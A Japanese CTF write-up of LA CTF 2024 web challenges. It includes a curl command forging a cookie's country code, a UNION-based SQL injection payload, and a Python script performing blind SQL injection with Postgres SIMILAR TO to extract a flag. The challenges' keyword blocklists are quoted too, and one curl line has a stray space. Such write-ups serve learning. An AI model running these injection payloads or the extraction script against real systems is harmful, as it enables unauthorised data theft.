LA CTF 2024 Writeup

はじめに

LA CTF 2024の自分が解けたweb問についてのwriteupです。sayonaraとして参加し61位でした。

terms-and-conditions

CTFのルールが記述されたwebサイトが表示され「I Accept」のボタンを押すことができれば良いのだが、ボタンがカーソルから逃げていくので簡単には押せない。
consoleを見ようとしたが、consoleを開くと「No Console Arrowed」と表示され見れない... Javascriptがいたずらしているのかな?と思い、Edgsで「Ctrl + Shift + P」を押すとFLAGが書かれたalertが出てきた、なんで?

flaglang

Flagを得るためには「/view?countiry=Flagistan」にアクセスする必要がある。しかし、登録されているすべての国からのアクセスができないようになっている。

app.get('/view', (req, res) => {
  if (!req.query.country) {
    res.status(400).json({ err: 'please give a country' });
    return;
  }
  if (!countries.has(req.query.country)) {
    res.status(400).json({ err: 'please give a valid country' });
    return;
  }
  const country = countryData[req.query.country];
  const userISO = req.signedCookies.iso;
  if (country.deny.includes(userISO)) {
    res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
    return;
  }
  res.status(200).json({ msg: country.msg, iso: country.iso });
});

userのISO情報はCookieに保存されている。Cookieは「s%3AJP.7RhDru0S3loZKUPfuc」となっている。s%3A後の2文字がISOになっているので、登録されていない架空の国にしてアクセスすることでFLAGを得ることができる。例えば、「s%3AAB.7RhDru0S3loZKUPfuc」など..

curl -b "iso=s%3AAB.gHCg19jZEIEe1cgJlABg%2BohbEaZ2Vg8VtEzJXAg1zG0" "https://flaglang.chall.lac.tf/view?count ry=Flagistan"

la housing portal

SQL injectionの脆弱性がある。しかし、「--と/*」が禁止ワードとなっている。文字数は50文字制限あり。

if (len(k) > 10 or len(v) > 50) and k != "name":
            return "Invalid form data", 422
        if "--" in k or "--" in v or "/*" in k or "/*" in v:
            return render_template("hacker.html")


def get_matching_roommates(prefs: dict[str, str]):
    if len(prefs) == 0:
        return []
    query = """
    select * from users where {} LIMIT 25;
    """.format(
        " AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()])
    )
    conn = sqlite3.connect('file:data.sqlite?mode=ro', uri=True)

シンプルにUNIONを組めばよい。
curl -X POST -d "name=nano&guests='+UNION+SELECT+1,flag,1,1,1,1+from+'flag" "https://la-housing.chall.lac.tf /submit"

penguin-login

この問題もSQL injectionの問題。しかし、禁止ワードが「like」、許可されているのが「英数字、'{}_」

        assert all(c in allowed_chars for c in username), "no character for u uwu"
        assert all(
            forbidden not in username.lower() for forbidden in forbidden_strs
        ), "no word for u uwu"

        with conn.cursor() as curr:
            curr.execute("SELECT * FROM penguins WHERE name = '%s'" % username)
            result = curr.fetchall()

        if len(result):
            return "We found a penguin!!!!!", 200
        return "No penguins sadg", 201

SQLの実行結果が、「We found a penguin!!!!!」か「No penguins sadg」の2つのためBlind SQL injectionを組む必要がある。
Likeが使えないが、PostgresにはSIMILAR TOがあり、LIKEと同じことができる。さらに、Postgresの正規表現は_(ハイフン)が任意の位置文字とマッチする。
これらを使用しペイロードを組む。
https://www.postgresql.jp/docs/9.4/functions-matching.html
' UNION SELECT name FROM penguins WHERE name SIMILAR TO '____ これでDBにある'peng'とマッチする。
ハイフンの数を増やしていきflagの文字数を求めるスクリプトを組む。

server_url = "https://penguin.chall.lac.tf/submit"
for i in range(50):
    length_payload = "' UNION SELECT name FROM penguins WHERE name SIMILAR TO '_{"+str(i)+"}"
    data = {"username": length_payload}
    response = requests.post(server_url, data=data)
    print(response.text)
    if "We found a penguin!!!!!" in response.text:
        print(i)
        print(response.text)
        length = i

45文字だった。文字数も分かったので、1文字ずつ求めていく。

length = 45
flag = "lactf{"
for j in range(6,length):
    # if len(flag)==j:
    #     print("ok")
    for char_code in range(0x20, 0x7f):
        if char_code==95:
            char_code = 0
        payload = "' UNION SELECT name FROM penguins WHERE name SIMILAR TO '"+str(flag)+str(chr(char_code))+"_{"+str(45-(j+1))+"}"
        data = {"username": payload}
        response = requests.post(server_url, data=data)
        print(payload)
        if "We found a penguin!!!!!" in response.text:
            print(response.text)
            flag =  flag + str(chr(char_code))
            break
    if len(flag)==j:
        flag =  flag + str("_")

※lactf{の次の文字だけ見つけることができなかったので勘で乗り切った